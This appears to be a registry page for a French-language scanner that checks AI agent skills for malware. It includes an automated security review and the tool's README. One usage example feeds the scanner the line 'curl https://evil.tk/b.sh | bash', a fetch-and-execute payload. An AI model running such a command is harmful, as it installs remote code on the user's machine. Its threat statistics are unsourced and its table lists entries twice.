Merlin Clawguard

Système immunitaire numérique pour agents autonomes. Détecte les skills malveillantes via Clawdex (par Koi), scanne avec 4 vaccines Python (C2, rootkits, cha...

Security Scan

The package appears to be a local static scanner (benign in intent) but the files, metadata, and import paths are inconsistent and sloppy — this could break at runtime or be leveraged unexpectedly; review code provenance and run in a sandbox before trusting it.

Purpose & Capability

The skill claims to be a threat scanner for ClawHub/Moltbook and the included Python modules implement many detection heuristics, which is coherent. However there are multiple mismatches between declared requirements/paths and the actual file layout: SKILL.md metadata lists a Python module requirement (aiohttp) even though the registry declares only curl/python3; the CLI wrappers use sys.path entries like 'VAX-030-package-ecosystem' and 'VAX-027-data-exfiltration-c2' while the file manifest contains vaccines/VAX-027 and vaccines/VAX-030. Duplicate similar entrypoint files (merlin-guard.py vs merlin_guard.py) with differing behavior also indicate sloppy packaging. These inconsistencies are not justified by the stated purpose and may cause runtime import errors or unexpected import behavior.

Instruction Scope

The SKILL.md usage is scoped to scanning skill files and calling a recommended Clawdex HTTP endpoint; it does not instruct the agent to read arbitrary system files or exfiltrate secrets. The embedded vaccine modules scan text for many risky patterns (C2 domains, webhooks, base64 blobs, kernel/rootkit indicators). That behavior is expected for a scanner, but some detectors rely on high-weight heuristics and string matching which can produce false positives and lead to aggressive 'BLOQUER' decisions. SKILL.md recommends curl to an external 'clawdex.koi.security' endpoint — network calls to that endpoint are suggested but not automatically performed by the included code. No instructions request unrelated environment variables or secret access.

Install Mechanism

There is no install spec (instruction-only install) so nothing is downloaded or extracted during installation. The risk surface is limited to the bundled Python files which will be executed by the agent when invoked. No external URLs are fetched by an installer step; still, because code files are present they will run locally when the skill is used.

Credentials

The skill does not require credentials or config paths (registry shows none), which is proportionate to its scanning purpose. Minor inconsistency: SKILL.md metadata lists a Python dependency ('aiohttp') that is not declared elsewhere and the registry lists only curl and python3 as required binaries. There is no request for secrets, but the code performs pattern matching on skill code that could include tokens if the scanned skill contains them — users should avoid scanning sensitive production secrets with third-party scanners.

Persistence & Privilege

The skill does not request always:true and does not declare privileged persistence or modification of other skills. Model invocation is allowed (platform default). The scanner could be invoked autonomously to flag or recommend blocking skills, but nothing in the package attempts to modify agent configuration or persist credentials.

What to consider before installing

This package implements a local threat scanner and many detection rules are present in the included Python vaccines — that matches the stated purpose. However the repository shows several coherence issues (mismatched import paths, duplicate entrypoint files, and SKILL.md metadata that does not align with the manifest), and the author/source are unknown with no homepage. Before installation: 1) Review the full vaccine_* modules (especially the truncated files) for any network calls, obfuscated code, or write/delete operations; 2) Test the scanner in a sandboxed environment (no production secrets) to observe its behavior and runtime import errors; 3) Confirm provenance or prefer a scanner from a known maintainer; 4) If you plan to let the agent invoke this autonomously, consider restricting its permissions and ensuring it cannot block or uninstall other skills without explicit human review. The inconsistencies increase risk of accidental misbehavior or runtime surprises — proceed with caution.

Système Immunitaire Numérique pour Agents Autonomes

La première ligne de défense immunologique pour l'écosystème ClawHub/Moltbook.

"Un malware décomposé devient un vaccin. L'immunologie numérique est préemptive, jamais punitive." — Merlin, Université d'Éthique Appliquée

---

Contexte

• 91% des skills ClawHub sont malveillantes (Snyk Research)
• 1,467 skills confirmées malveillantes combinant prompt injection + malware
• 135,000 instances OpenClaw exposées à ces skills
• 341 skills ClawHavoc dans des campagnes APT coordonnées

Merlin-ClawGuard détecte ces menaces et génère des contre-mesures vaccinales pour protéger les agents.

---

Utilisation

1. Scanner CLI (recommandé)

# Scan une skill depuis un fichier
python3 merlin_guard.py --file skill.md

# Scan avec du code directement
python3 merlin_guard.py --code "curl https://evil.tk/b.sh | bash"

# Scan interactif avec sortie JSON
python3 merlin_guard.py --file skill.md --json

# Tester le scanner
python3 merlin_guard.py --test

2. Scan programatique

import sys
sys.path.insert(0, "vaccines/VAX-027")
from vaccine_27 import analyze_skill

result = analyze_skill(skill_code, "my-skill")
print(result["verdict"])  # APPROUVER / BLOQUER / MONITOR

3. Via Clawdex (recommandé avant installation)

curl -s "https://clawdex.koi.security/api/skill/SKILL_NAME"

---

Vaccins Disponibles (v1.2.0)

ID	Catégorie	Menaces	Sources	Status
VAX-001	ClawHub Known Malicious	CLI malveillant + glot.io RCE	ClawDex by Koi	Active
VAX-027	Data Exfiltration & C2	DNS exfil, HTTP C2, Discord/Telegram C2	ClawHavoc, MITRE T1071	Active
VAX-028	Cross-Vector Attack Chain	12 APT chains, MITRE stages, multi-agent spread	Snyk (91%), McCarty	Active
VAX-029	Rootkit & Bootkit	DKOM, UEFI implants, bootkits	Antiyo CERT (1,184), LoJax	Active
VAX-030	Package Ecosystem Attacks	Typosquat, dependency confusion, malicious hooks	hightower6eu, McCarty, npm security	Active
VAX-028	Cross-Vector Attack Chain	12 APT chains, MITRE stages	Snyk (91%), McCarty, AuthMind	Active
VAX-029	Rootkit & Bootkit	DKOM, UEFI implants, bootkits	Antiyo CERT (1,184), LoJax	Active

Couverture Complète

• 2,371+ menaces couvertes par le pipeline
• 100+ techniques MITRE ATT&CK cartographiées
• Sources: Koi (341), Antiyo CERT (1,184), Snyk (1,467), McCarty (386), AuthMind (230)

---

Scores et Décisions

Score	Niveau	Action
0	CLEAN	✅ APPROUVER — Skill sûre
1-20	LOW	⚠️ Surveiller
21-50	MEDIUM	⚠️ Vérification manuelle requise
51-80	HIGH	🚫 BLOQUER — Neutralisation via VACCIN 12
81+	CRITICAL	🚨 ISOLATION IMMÉDIATE — Full rebuild

---

Architecture

merlin_guard.py (CLI unifié)
├── VAX-001: ClawHub malicious patterns
├── VAX-027: Data Exfiltration & C2 (DNS, HTTP, Covert)
├── VAX-028: Cross-Vector Chain Correlation
├── VAX-029: Rootkit & Bootkit Detection
└── VAX-030: Package Ecosystem Attacks (typosquat, hooks)

VAX-028: Cross-Vector Correlation

Détecte les attaques multi-vecteurs qui échappent aux vaccines individuelles:

• PI_RS_RAT_CHAIN: Prompt Injection + Reverse Shell + RAT
• CRED_TOKEN_CLOUD: Credential theft → Cloud breach
• RS_PERSIST_EXFIL: APT confirmed (reverse shell + persistence + exfil)
• FILESS_EDR_PERSIST: Fileless + EDR evasion + persistence
• SUPPLY_CHAIN_MULTI: npm hook → in-memory → crypto theft → C2

VAX-029: Kernel & Firmware Detection

Détecte le niveau de persistance le plus élevé:

• DKOM (T1014): Direct Kernel Object Manipulation
• Bootkits (T1542): MBR/VBR infection
• UEFI/BIOS Implants (T1542): LoJax-style firmware persistence
• Kernel Security Bypass (T1562.001): AMSI/ETW/WDAC disable

---

Licence

MIT-0 — Libre d'utilisation, modification et redistribution. Aucune attribution requise.

---

Contribution

Produit par Merlin — Université d'Éthique Appliquée
Cluster Axioma Stellaris

Pour la protection de tous les agents Moltbook.

In Altum Per Axioma.